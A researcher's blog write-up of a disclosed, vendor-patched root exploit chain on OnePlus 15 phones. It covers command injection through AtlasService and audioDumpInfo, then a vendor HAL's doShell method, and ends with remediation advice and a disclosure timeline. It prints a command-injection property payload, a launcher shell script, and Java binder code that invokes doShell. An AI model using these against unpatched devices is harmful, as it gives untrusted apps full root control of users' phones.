Getting root on OnePlus 15 from an untrusted app, via an audio debug service and a vendor HAL

CVE-2026-70386 HIGH: 8.5

Sep 24, 2026
Permalink: https://blog.nns.ee/2026/09/24/oneplus-root/

I've been using OnePlus phones since the OnePlus 3T. I'm currently on a OnePlus 15 (CPH2747) running OxygenOS 16, which I've had for a few months now and am pretty happy with.

I figured I'd poke at the firmware a bit to see what's in there. Specifically I wanted to know whether the clean-install firmware had anything that'd let a random app I install from outside the Play Store end up running as root.

Turns out: yes! I found two separate issues which chain together into a fairly clean `untrusted_app` -> uid 0, with all Linux capabilities, from a plain installable APK with no special permissions whatsoever.

A note on methodology: my OP15 is my daily driver, so I didn't want to pre-root it or mess with its state while developing the exploit. I happened to have an older OnePlus 12 Pro (CPH2581) lying around that I'd already unlocked and rooted for unrelated reasons, and I did the reverse engineering and exploit development against that. Once I had a working PoC, I installed the exact same unmodified APK on my OP15 and it worked first shot. So this writeup is about the OP15, but most of the Ghidra screenshots and on-device commands come from the OP12.

OnePlus later confirmed that this vulnerability affects many OnePlus and OPPO devices across different software versions, but has yet to provide a full list of affected devices or software versions. I can, however, confirm that at least on the OnePlus 15, the issues have been fixed in version `16.0.10.500(EX01)`.

2026-09-28 update: The OnePlus security team has reached out and confirmed that of the devices that are still under maintenance, 151 devices have received patches while 18 are pending release. Full update posted below.

A quick primer on Android sandboxing

On Android, a normal installed app (Play Store, sideload, whatever) runs in a selinux domain called `untrusted_app`. It's reasonably locked down - it can talk to a handful of system binder services, read its own data directory, use the camera if you grant permission etc, and not much else. The

usual goal for a local privilege escalation is to break out of `untrusted_app` and land somewhere that has uid 0 (root) and a more permissive selinux domain.

Android is a complex beast and there's a *lot* of system binder services, and each one is a potential attack surface. OxygenOS piles its own on top of the AOSP ones. I figured the AOSP ones are likely to have had more eyeballs on them than the OxygenOS ones, so that's where I directed most of my focus.

Bug 1: AtlasService lets any app run commands as root

AtlasService is an OxygenOS thing that, as far as I can tell, exists to collect telemetry and debug events. It runs as root and accepts binder calls from any process. I'm not 100% sure what "Atlas" is supposed to be, the process itself is called `atlasservice` and the relevant library is `libatlasservice.so`. I couldn't find much documentation on it.

Looking at `BnAtlasService::onTransact`, there are a few transaction codes. The interesting one is code `2`, which is `setEvent(String8 name, String8 value)`. There's no permission check on the caller - any UID can call it.

`setEvent` dispatches the event through a bunch of registered listeners. Most of them do boring things - log it, upload it, whatever - but one of them, `OplusAtlasLogWriter::handleEvent`, has a string comparison against `atlas_event_multimedia_audio_dumpsys`. If the event name matches, it calls into `dumpsysAudioInfo`, which spins up a worker thread that does:

```
property_set("oplus.audio.dumpinfo.type", value);  // attacker-controlled
property_set("ctl.start", "audiodumpinfo");
```

`ctl.start=audiodumpinfo` tells `init` to spawn a service called `audiodumpinfo`. Looking at `/system_ext/etc/init/audiodumpinfo.rc`:

```
service audiodumpinfo /system_ext/bin/audioDumpInfo
    class main
    user root
    group root system everybody sdcard_rw
    seclabel u:r:dumpstate:s0
    disabled
    oneshot
```

So `init` spawns `/system_ext/bin/audioDumpInfo` as uid 0 in the `dumpstate` selinux domain. Fine. What does `audioDumpInfo` do with our attacker-controlled property?

Turns out it calls `GetProperty("oplus.audio.dumpinfo.type")` and drops the result straight into a string buffer:

```
/data/persist_log/TMP/audio_dumpsys/<timestamp>/<our_value>/
```

Then it walks the path one slash at a time, and for each component that doesn't exist yet, it creates the directory and runs `system("chmod 777 " + prefix)`.

I think you see where I'm going with this. The value we provided goes, unescaped, straight into a shell command passed to `system()`. All we have to do is inject `;`, some command, and `#` to comment out the rest.

Android property values are capped at 92 bytes. That's pretty tight for a full command, but plenty for `sh<path/to/script` where `path/to/script` is something we wrote earlier. So the actual payload I use in my PoC is something like:

```
x;sh</sdcard/Android/data/com.research.poc/files/boot.sh 2>&1|log -t AtlasOut;#
```

This means that any app can essentially run commands as uid 0. The selinux context ends up being `u:r:dumpstate:0`, which is not full unconfined root (dumpstate has a fairly strict policy), but it has uid 0, it can read and write most of `/data`, and it can call a ton of vendor binder services that trust uid-0 callers.

Which leads me to the second bug.

Bug 2: olc2 HAL `doShell` literally runs a shell for you

OxygenOS ships a vendor HAL called `vendor.oplus.hardware.olc2.IOplusLogCore/default`, running out of `/odm/bin/hw/vendor.oplus.hardware.olc2-V3-service`, which exposes a binder interface.

The service has a method called `doShell(String cmd)` at transaction code `6`. Looking at its implementation was very much an "I don't know know what I expected" moment.

```
4 void aidl::vendor::oplus::hardware::olc2::OlcHwService::doShell(string *param_1,bool *param_2)
5
6 {
7   int iVar1;
8   __pid_t pid;
9   undefined8 uVar2;
10  int *piVar3;
11  char *pcVar4;
12  undefined1 *in_x2;
13  undefined8 *in_x8;
14  bool *pbVar5;
15
16  android::IPCThreadState::self();
17  iVar1 = android::IPCThreadState::getCallingUid();
18  if (iVar1 == 0) {
19    pbVar5 = *(bool **)(param_2 + 0x10);
20    if ((*param_2 & 1U) == 0) {
21      pbVar5 = param_2 + 1;
22    }
23    __android_log_print(3,"OLC_HAL","olc doShell(%s) called",pbVar5);
24    pid = fork();
25    if (-1 < pid) {
26      if (pid == 0) {
27        pbVar5 = param_2 + 1;
28        if ((*param_2 & 1U) != 0) {
29          pbVar5 = *(bool **)(param_2 + 0x10);
30        }
31        iVar1 = execl("/vendor/bin/sh","sh","-c",pbVar5,0);
32        if (iVar1 < 0) {
```

```
if (getCallingUid() == 0) {
    __android_log_print(3, "OLC_HAL", "olc doShell(%s) called", cmd);
    pid = fork();
    if (pid == 0) {
        execl("/vendor/bin/sh", "sh", "-c", cmd, NULL);
        // ...
    }
}
```

The only gate is `getCallingUid() == 0`. If you're uid 0, it runs an arbitrary shell command for you. There's also a `doShellBlocking` at code `7` that does the same thing but with `waitpid()` if you want the exit status.

The part that makes this interesting and useful for us is the selinux domain the child inherits. When `init` spawns the olc2 HAL service, its selinux type is `hal_oplus_olc_aidl_default`. Then `type_transition` rules in the policy send exec children of that HAL into `vendor_qti_init_shell`:

```
type_transition hal_oplus_olc_aidl_default
    vendor_qti_init_shell_exec:process vendor_qti_init_shell
```

And `vendor_qti_init_shell` has `CapBnd = 0x1fffffffff`, meaning literally all of the capabilities. `CAP_SYS_MODULE`, `CAP_SYS_RAWIO`, `CAP_SYS_PTRACE`, etc.

That's... a lot more than dumpstate. Dumpstate has a more restrictive capability set and can't do things like load kernel modules. `vendor_qti_init_shell` is essentially an unrestricted shell in terms of Linux CAPs, with only selinux keeping it in check.

Chaining them

The two bugs fit together neatly:

1. Untrusted app calls `AtlasService.setEvent("atlas_event_multimedia_audio_dumpsys", "<payload>")` via binder.
2. AtlasService property-sets `oplus.audio.dumpinfo.type` and triggers `ctl.start=audiodumpinfo`.
3. `init` spawns `/system_ext/bin/audioDumpInfo` as `u:r:dumpstate:s0`.
4. `audioDumpInfo` reads our property, calls `system()` with it, we get shell as `dumpstate`.
5. Still running as `dumpstate`, we binder-call the olc2 HAL's `doShell(cmd)`.
6. The olc2 HAL fork/execs `/vendor/bin/sh -c cmd`, which ends up in `u:r:vendor_qti_init_shell:s0`

The policy puts `dumpstate` into an attribute `hal_oplus_olc_aidl_client`, which is explicitly allowed to call `hal_oplus_olc_aidl_server`:

```
$ sesearch -A -s dumpstate -c binder sepolicy_clean.bin | grep olc
allow hal_oplus_olc_aidl_client hal_oplus_olc_aidl_server:binder { call transfer
};
```

... along with a long list of other HALs (`debuglog`, `hal_camera_default`, `hal_charger_oplus`, etc.), so the `getCallingUid() == 0` check on the HAL side is the *only* permission gate. Any uid-0 process in one of those attribute-included domains can use it.

Building the PoC

The PoC is a regular Android app with no special permissions in the manifest and targetting API 35.

The app does the following in `MainActivity.onCreate`:

1. Write a small `boot.sh` to `getExternalFilesDir()` which execs `app_process` with our classes.
2. Extract `classes.dex` out of our own APK into the same directory.
3. Call `AtlasService.setEvent` with a payload that runs `sh<boot.sh`.

Step 2 might seem weird, but the method I tried initially was to have `audioDumpInfo` spawn `app_process` with `CLASSPATH=<apk_path>`, where `<apk_path>` points to our installed APK. As it turns out, this does *not* work. The installed APK is labeled `apk_data_file` and `dumpstate` cannot read that. However, the app's external files dir is labeled `media_rw_data_file` / fuse, which dumpstate *can* read. So we extract `classes.dex` out of our own APK (by literally just unzipping it) and drop it there.

The `boot.sh` ends up looking like this:

```
#!/system/bin/sh
export CLASSPATH=/sdcard/Android/data/com.research.poc/files/classes.dex
exec /system/bin/app_process /system/bin com.research.poc.Pwn olc
/sdcard/Android/data/com.research.poc/files/cmd.txt
```

`app_process` is the binary that launches JVM-hosted processes on Android (zygote uses it too). With the `CLASSPATH` env var set, we can run a class out of any .dex file we like.

`Pwn.main` runs as `dumpstate` and does the binder call to `olc2.doShell(cmd)`. This is where I hit a quirk.

Java `writeInterfaceToken` against a vendor AIDL HAL

The olc2 HAL is written using the AIDL NDK C++ bindings. The official way to call an AIDL vendor HAL from Java would be... there isn't one, really. You're not supposed to talk to vendor HALs from app processes at all. But `dumpstate` is a system process, so *it* can, if you can figure out the right wire format.

I figured this would be the hard part. Vendor binder services often have strict interface-token versioning, and there's a whole `android.os.IHwBinder` path for talking to HIDL vendor HALs that's separate from the regular `android.os.IBinder` / `ServiceManager.getService` path. Since this is AIDL rather than HIDL, I wasn't sure which side of that fence I was on.

Or, rather, I thought I wasn't sure. Out of a hunch I tried `ServiceManager.getService("vendor.oplus.hardware.olc2.IOplusLogCore/default")`, write an interface token with `Parcel.writeInterfaceToken("vendor.oplus.hardware.olc2.IOplusLogCore")`, write the string argument, `binder.transact(6, data, reply, 0)`.

It just worked.

```
IBinder b =
ServiceManager.getService("vendor.oplus.hardware.olc2.IOplusLogCore/default");
Parcel data = Parcel.obtain(), reply = Parcel.obtain();
data.writeInterfaceToken("vendor.oplus.hardware.olc2.IOplusLogCore");
data.writeString(cmd);
b.transact(6, data, reply, 0);
```

There's a separate wrinkle around `Parcel.writeString8` vs `writeString`. Stable AIDL puts strings on the wire as UTF-16 (the `String16` wire format), and that's what Java's `Parcel.writeString` emits too - so for the olc2 call, `writeString` just works.

AtlasService, on the other hand, uses the older `String8` wire format. `String8` on the wire is `int32 length, UTF-8 bytes, '\0', pad to 4`. Java's `Parcel` doesn't expose this directly on API 35 even after lifting hidden-API restrictions, so I ended up emulating it by hand: `writeInt(len)`, then a helper `Parcel` with `writeByteArray(bytes + '\0')`, then `appendFrom` on the main parcel starting after the helper's own length prefix. A bit ugly but it works.

Testing on the OP15

After I got everything working against the OP12, I took the same unmodified APK and tried it on my OP15 (CPH2747, OxygenOS 16.0.3.503, patch level 2026-02-01, kernel 6.12.23):

```
@avm ~ $ adb shell "am start -n com.research.poc/.MainActivity --es olc '(id; uname -a; grep -E ^\"(Uid|CapEff
)\" /proc/self/status; cat /proc/self/attr/current; echo; getprop ro.build.version.security_patch) 2>&1 | log
-t PwnOut'"
Starting: Intent { cmp=com.research.poc/.MainActivity (has extras) }
@avm ~ $
@avm ~ $ adb logcat -d -s PwnOut | cut -f4- -d:
--------- beginning of main
 uid=0(root) gid=1000(system) groups=1000(system),0(root),1001(radio),1007(log),1010(wifi),1023(media_rw),1027
(nfc),1031(mediadrm) context=u:r:vendor_qti_init_shell:s0
 Linux localhost 6.12.23-android16-5-gb3b66ace21e0-ab14672634-4k #1 SMP PREEMPT Tue Jan  6 12:51:54 UTC 2026 a
arch64 Toybox
 Uid:   0       0       0       0
 CapEff:        000001ffffffffff
 u:r:vendor_qti_init_shell:s0
 2026-02-01
```

Worked first shot. Given that two different OnePlus models on different kernel branches both have it, I'd treat this as an OxygenOS 16 thing in general, not specific to either phone.

Remediation

If I had to fix this, for AtlasService I would either (or rather both):

1. Apply a caller UID / SELinux peer check to `AtlasService::setEvent`.

2. Stop shipping unsanitized user data into `system()` calls in `audioDumpInfo`. `system("chmod 777 " + untrusted_input)` in a boot-triggerable service in 2026 is definitely a choice.

Fix for olc2 would be to either drop the whole `doShell` method entirely (why does this even exist?) or at minimum add a selinux peer filter so only a very specific debug daemon can reach it, not anything with uid 0.

Miscellaneous

A few things I ran into along the way that aren't interesting enough for the main story but I want to write down.

Reversing the AtlasService event dispatch

`libatlasservice.so::OplusAtlasLogWriter::handleEvent` has a bunch of `memcmp` calls against hardcoded strings. The string literals aren't stored as a single `const char*`; they're encoded as a pair of 64-bit qwords and a 32-bit dword loaded as immediates. Ghidra doesn't show these as obvious string comparisons - you see `if (*(long*)v == 0x5f73616c7461 && ...)` and have to reverse the endianness by hand.

Small script to dump them all:

```
import struct
def qw(x): return struct.pack("<Q", x).rstrip(b'\0').decode('latin1',
errors='replace')
# plugged in from the decompilation
print(qw(0x615f73616c7461) + qw(0x5f746e6576) + qw(0x746c756d) + ...)
```

Running this on all the comparison immediates in `handleEvent` gave me the full list of event names the writer cares about, and `atlas_event_multimedia_audio_dumpsys` was the only one with a property-set sink I could actually reach from `setEvent`.

Figuring out the transaction code

AIDL-compiled `BnAtlasService::onTransact` looks like a large switch on the transaction code. For each case it reads arguments off the parcel and calls the corresponding method. In this case:

```
case 2:
    data->enforceInterface(...);
    data->readString8(&name);
    data->readString8(&value);
    this->setEvent(name, value);
    ...
```

There are three codes I saw on this service (1, 2, 3), and I tried them all before settling on code 2 reading two `String8` args. Code 1 is `registerNativeClient` which is its own can of worms (it let you register a callback binder that the service invokes under root, which is potentially a separate bug, but I haven't gone deep on that one).

2026-09-28 update

OnePlus has reached out and shared more details on the current remediation status. Quoting:

> We have confirmed with the responsible team that the vulnerability is fixed in the new version. The relevant code was merged at the end of July.
>
> This review covers OPPO,/realme/ OnePlus export models that are still under maintenance: 151 models are fixed, and 18 are pending release.
>
> All pending models are scheduled for release in October.
>
> The release cycle for these existing maintenance branches is two to three months. Although the fix was merged at the end of July, it can be pushed by OTA only in a maintenance window, so there is a short period during which the update is still pending.

> Fixed builds can be identified as follows:
>
> - On the 16.1.0 line, fixed builds start at 16.0.10.500. A build is fixed when the last number is 500 or greater.
> - On the 16.0.0 line, fixed builds start at 16.0.5.1200. A build is fixed when the last number is 1,200 or greater.
> - On the 15.0.0 line, fixed builds start at 15.0.0.2000. A build is fixed when the last number is 2,000 or greater.

Timeline

- **18/04/2026** - Initial report of AtlasService command injection and olc2 `doShell` to OnePlus security contacts

- **29/04/2026** - Follow up email from researcher asking the OnePlus security team if they've received the report
- **14/05/2026** - Response from OnePlus security team asking for further details
- **14/05/2026** - Email from researcher to OnePlus with more details
- **20/05/2026** - Response from OnePlus confirming the vulnerabilities across multiple products and threatening the researcher with legal action should the research be published (full email)
- **01/06/2026** - Email from researcher stating that the research will be published no later than 90 days from initial disclosure
- **22/06/2026** - Email from OnePlus providing an update on their remediation effort and asking for a delay before publishing
- **22/06/2026** - Response from researcher to OnePlus confirming that the research will be published not sooner than 17 September 2026
- **20/07/2026** - Email from researcher asking for an update, no response
- **28/07/2026** - Email from researcher coordinating CVE ID assignment
- **03/08/2026** - Response from OnePlus
- **03/08/2026** - Response from researcher
- **18/08/2026** - OnePlus push out firmware version `CPH2745_16.0.10.500(EX01)` for the OnePlus 15, which fix the vulnerabilities for OnePlus 15 (status of other devices unknown)
- **11/09/2026** - Email from researcher asking for an update and reminding of the upcoming disclosure date, no response
- **24/09/2026** - Write-up is published
- **28/09/2026** - OnePlus responds with details on the remediation status

---



Author | Rasmus Moorats

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, embedded devices, and Linux.
